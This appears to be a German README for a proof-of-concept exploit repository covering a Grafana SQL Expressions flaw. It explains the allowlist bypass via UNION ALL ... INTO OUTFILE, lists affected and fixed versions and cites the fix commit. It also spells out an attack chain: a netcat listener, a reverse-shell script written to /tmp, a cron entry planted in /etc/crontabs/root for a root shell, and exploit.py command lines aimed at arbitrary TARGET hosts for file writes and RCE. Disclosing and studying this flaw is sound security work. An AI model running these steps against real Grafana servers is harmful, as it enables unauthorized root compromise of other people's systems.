
Grafana SQL-Ausdrücke: Beliebiger Datei-Schreibzugriff zu RCE
CVSS 9.1 Kritisch | Beliebiger Datei-Schreibzugriff | Remote Code Execution
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Die SQL-Expressions-Funktion von Grafana (sqlExpressions-Umschalter) verwendet eine In-Process-SQL-Engine (dolthub/go-mysql-server) mit einer fehlerhaften AST-Allowlist. Der SetOp-Knoten (UNION ALL) besteht die Validierung, und seine walkSubtree()-Methode durchläuft das Into-Kind nicht – wodurch INTO OUTFILE beliebige Dateien als Benutzer des Grafana-Prozesses auf das Server-Dateisystem schreiben kann.
Jeder authentifizierte Benutzer (Viewer-Rolle oder höher) kann dies über eine cron-basierte Reverse Shell zu vollständiger RCE verketten.
| Bereich | Betroffen | Behoben |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Erfordert, dass der sqlExpressions-Funktionsumschalter aktiviert ist.
Zwei sich verstärkende Fehler in pkg/expr/sql/:
parser_allow.go: allowedNode() verwendet einen benannten Rückgabewert b = true. Der Fall *sqlparser.SetOp gibt true (erlaubt) zurück, und SetOp.walkSubtree() durchläuft den Into-Kindknoten NICHT. Das bedeutet, dass UNION ALL ... INTO OUTFILE die Allowlist vollständig umgeht.
db.go: Der SQL-Engine-Kontext wird ohne WithDisableFileWrites(true) erstellt, sodass INTO OUTFILE auf die Festplatte schreibt.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
Ein einzelnes (SELECT ...) INTO OUTFILE erzeugt einen ParenSelect-Knoten, der blockiert wird. Zwei oder mehr SELECT-Teile, die mit UNION ALL verbunden sind, erzeugen einen SetOp-Knoten, der die Prüfung umgeht.
1. Authentifizieren (Viewer-Rolle ausreichend)
2. POST /api/ds/query mit __expr__-Datenquelle, Typ "sql"
3. UNION ALL INTO OUTFILE schreibt Reverse-Shell-Skript nach /tmp/
4. Zweiter Schreibvorgang platziert Cron-Eintrag in /etc/crontabs/root
5. Cron feuert innerhalb von 60 Sekunden -> Reverse Shell als root
cd lab/
docker compose up -d
# Warten, bis Grafana gesund ist (~15s)
Grafana läuft auf http://localhost:3333 mit den Anmeldedaten admin:admin.
Terminal 1 – Listener:
nc -lvnp 4444
Terminal 2 – Exploit:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
Die Reverse Shell landet innerhalb von 60 Sekunden.
# Prüfen, ob das Ziel verwundbar ist (keine Schreibvorgänge)
python3 exploit.py -t http://TARGET:3000 --check
# Beliebige Datei schreiben
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Lokale Datei auf das Ziel schreiben
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE über Datenquellen-Bereitstellung (kein cron erforderlich)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Um den Exploit nach einem vorherigen Lauf erneut auszuführen, muss zuerst bereinigt werden – INTO OUTFILE kann vorhandene Dateien nicht überschreiben.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Vollständige Grundursachenanalyse
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0-Labor (bestätigt)
│ ├── Dockerfile # Benutzerdefiniertes Image mit cron-Unterstützung
│ ├── entrypoint.sh # Startet crond + Grafana
│ └── setup.sh # Auto-Setup-Skript
└── poc/
├── exploit.py # Vollständiger PoC mit RCE
└── cvss-justification.md
Nur für autorisierte Sicherheitsforschung und kontrollierte Labortests. Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden.